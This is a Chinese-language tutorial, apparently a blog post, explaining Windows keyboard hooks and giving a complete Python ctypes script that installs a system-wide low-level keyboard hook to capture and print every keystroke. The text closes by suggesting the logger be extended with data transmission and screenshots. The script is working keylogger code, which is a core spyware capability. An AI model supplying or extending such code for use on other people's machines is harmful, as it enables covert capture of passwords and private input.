• win32API
• Python基礎(chǔ)，重點在cpytes庫的使用
• C語言基礎(chǔ)
• Hook

程序的基本原理在于通過注冊Hook，記錄系統(tǒng)事件。

那么什么是Hook呢？

user32 = CDLL("user32.dll")
kernel32 = CDLL("kernel32.dll")

• user32.dll 是Windows用戶界面相關(guān)應(yīng)用程序接口，用于包括Windows處理，基本用戶界面等特性，如創(chuàng)建窗口和發(fā)送消息
• kernel32.dll 控制著系統(tǒng)的內(nèi)存管理、數(shù)據(jù)的輸入輸出操作和中斷處理**

流程部分

HHOOK SetWindowsHookExA( int idHook,
  HOOKPROC  lpfn,
  HINSTANCE hmod,
  DWORD     dwThreadId
);

user32.SetWindowsHookExA(13,handleProc,kernel32.GetModuleHandleW(),0)

• WINFUNCTYPE 為Windows下獨有的，通過使用使用stdcall調(diào)用約定的函數(shù)
• CFUNCTYPE 使用標(biāo)準(zhǔn)C調(diào)用約定的函數(shù)

HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))

LRESULT CALLBACK LowLevelKeyboardProc(
  _In_ int nCode,
  _In_ WPARAM wParam,
  _In_ LPARAM lParam
);

class KBDLLHOOKSTRUCT(Structure):
    _fields_ = [
        ('vkCode', DWORD),
        ('scanCode', DWORD),
        ('flags', DWORD),
        ('time', DWORD),
        ('dwExtraInfo', DWORD)] def hookProc(nCode, wParam, lParam): if nCode < 0: return user32.CallNextHookEx(hooked, nCode, wParam, lParam) else:
        # 此處插入我們的代碼 pass
    return user32.CallNextHookEx(hooked, nCode, wParam, lParam)

import sys
from ctypes import *
from ctypes.wintypes import DWORD, HHOOK, HINSTANCE, MSG, WPARAM, LPARAM

user32 = CDLL("user32.dll")
kernel32 = CDLL("kernel32.dll")


class KBDLLHOOKSTRUCT(Structure):
    _fields_ = [
        ('vkCode', DWORD),
        ('scanCode', DWORD),
        ('flags', DWORD),
        ('time', DWORD),
        ('dwExtraInfo', DWORD)]


def uninstallHookProc(hooked):
    if hooked is None:
        return
    user32.UnhookWindowsHookEx(hooked)
    hooked = None


def hookProc(nCode, wParam, lParam):
    if nCode < 0:
        return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
    else:
        if wParam == 256:
            if 162 == lParam.contents.value:
                print("Ctrl pressed, call Hook uninstall()")
                uninstallHookProc(hooked)
                sys.exit(-1)
            capsLock = user32.GetKeyState(20)
            # kb_struct = cast(lParam, POINTER(KBDLLHOOKSTRUCT))
            if lParam.contents.value==13:
                print("\n")
            elif capsLock:
                print(chr(lParam.contents.value),end="")
            else:
                print(chr(lParam.contents.value+32),end="")
    return user32.CallNextHookEx(hooked, nCode, wParam, lParam)


def startKeyLog():
    msg = MSG()
    user32.GetMessageA(byref(msg), 0, 0, 0)


def installHookProc(hooked, pointer):
    hooked = user32.SetWindowsHookExA(
        13,
        pointer,
        kernel32.GetModuleHandleW(),
        0
    )
    if not hooked:
        return False
    return True


HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))
pointer = HOOKPROC(hookProc)
hooked = None
if installHookProc(hooked, pointer):
    print("Hook installed")
    try:
        msg = MSG()
        user32.GetMessageA(byref(msg), 0, 0, 0)
    except KeyboardInterrupt as kerror:
        uninstallHookProc(hooked)
        print("Hook uninstall...")
else:
    print("Hook installed error")

貼上我們的效果圖

我們還可以再添加上額外的代碼比如數(shù)據(jù)傳輸，截屏等等? ^_^